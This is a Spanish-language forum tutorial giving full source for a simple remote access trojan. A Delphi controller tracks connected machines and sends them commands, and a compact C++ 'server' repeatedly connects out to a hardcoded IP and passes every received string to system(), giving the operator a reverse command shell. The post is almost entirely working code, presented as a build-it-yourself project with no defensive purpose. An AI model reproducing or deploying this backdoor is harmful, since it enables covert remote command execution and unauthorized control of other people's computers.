El server los haremos en C++ puesto que su tamaño será mucho menor y el cliente en Delphi.
El server intentará conectarse indefinidamente en caso de desconexión del cliente.

Cliente (Delphi)
Añadimos los siguientes elementos:
TListView: para ver los servers conectados.
2 TEdit: uno para escribir el puerto a la escucha y otro para escribir los comandos.
3 TButton: uno para enviar los comandos, otro para refrescar la ListView y otro para añadir el puerto.
TIdTCPServer: Nos servirá para el manejo de los sockets.

Código del cliente:

Código: Seleccionar todo

unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  IdBaseComponent, IdComponent, IdCustomTCPServer, IdTCPServer, IdContext, Idsync, idGlobal;

type
  TForm1 = class(TForm)
    ListView1: TListView;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    GroupBox2: TGroupBox;
    Button1: TButton;
    IdTCPServer1: TIdTCPServer;
    Edit2: TEdit;
    Button2: TButton;
    Button3: TButton;
    procedure Button2Click(Sender: TObject);
    procedure IdTCPServer1Execute(AContext: TIdContext);
    procedure IdTCPServer1Connect(AContext: TIdContext);
    procedure serversConectados;
    procedure Button3Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
  public
  end;

var
  Form1: TForm1;
  item2: TListItem;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  ContextList: TList;
  Context: TIdContext;
  i, pos: integer;
begin
  try   //buscamos a quien enviar el comando mediante el índice seleccionado en la lista
    ContextList := IdTCPServer1.Contexts.LockList;
    Context := TObject(ContextList[ListView1.ItemIndex]) as TIdContext;
    Context.Connection.IOHandler.Write(Edit1.Text, IndyTextEncoding_OSDefault);
  except
  end;
  IdTCPServer1.Contexts.UnlockList;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  //añadimos un nuevo puerto a la escucha
  IdTCPServer1.Active := false;
  with IdTCPServer1.Bindings.Add do
  begin
    IP := '0.0.0.0';
    Port := Integer.Parse(Edit2.Text);
  end;
  IdTCPServer1.Active := true;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  //refrescamos la lista
  serversConectados;
end;

procedure TForm1.IdTCPServer1Connect(AContext: TIdContext);
begin
   //refrescamos la lista
   serversConectados;
end;

procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
begin
//El evento execute es necesario pero no lo utilizaremos
end;

procedure TForm1.serversConectados;
var
  ContextList : TList;
  Context : TIdContext;
  i, pos: integer;
begin
  ListView1.Clear;
  ContextList := IdTCPServer1.Contexts.LockList;
      try
          for i := 0 to ContextList.Count - 1 do  //por cada conexion mostramos la ip y el puerto
          begin
            item2 := ListView1.Items.Add;
            Context := TObject(ContextList[i]) as TIdContext;
            [/i]item2.Caption := Context.Connection.Socket.Binding.PeerIP;
            item2.SubItems.Add(Context.Connection.Socket.Binding.Port.ToString);
          end;
      finally
          IdTCPServer1.Contexts.UnlockList;
      end;
end;

end.
El cliente debería quedar algo como esto:
Imagen


Código del Server (C++)

Código: Seleccionar todo

#include <winsock2.h> 
#include <iostream>
#include <Windows.h> 
#pragma comment(lib,"ws2_32")

using namespace std;

WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in sockAddr;
bool run;
bool connected = false;
char port[6] = "1234";
char ip_addr[16] = "192.168.1.136";
char bufferR[1024];

void Wsa() {
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) == 0) {
        Winsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    }
}

void intentarConexion() {
    while (!connected) {
        sockAddr.sin_family = AF_INET;
        sockAddr.sin_port = htons(atoi(port));
        sockAddr.sin_addr.s_addr = inet_addr(ip_addr);
        if ((connect(Winsock, (SOCKADDR*)&sockAddr, sizeof(sockAddr))) != INVALID_SOCKET) {  //Nos conectamos
            connected = true;
            run = true;
            cout << "Conexion establecida con " << ip_addr << endl;
        }
        else {
            cout << "Intentando conexion con " << ip_addr << ":" << port << endl;   //Volvemos a intentarlo
        }
    }
}

void ejecutarComandos() {
    while (connected) {
        if (recv(Winsock, bufferR, sizeof(bufferR), 0) == 0) {  //Si el cliente se desconecta salimos del bucle
            cout << "Desconectado";
            run = false;
            connected = false;
            WSACleanup();
        }
        else {
            system(bufferR);
        }
        memset(&bufferR, 0, sizeof(bufferR));
    }
}

int main() {
    while (true) {          //bucle para intentar la conexion repetidamente
        Wsa();
        intentarConexion();
        ejecutarComandos();
    }
    return 0;
}
Una vez tengamos la conexión del server introducimos un comando, seleccionamos a quien enviarlo en la ListView y ejecutamos, en ese orden.
Imagen
Responder

Volver a “Manuales y Tutoriales”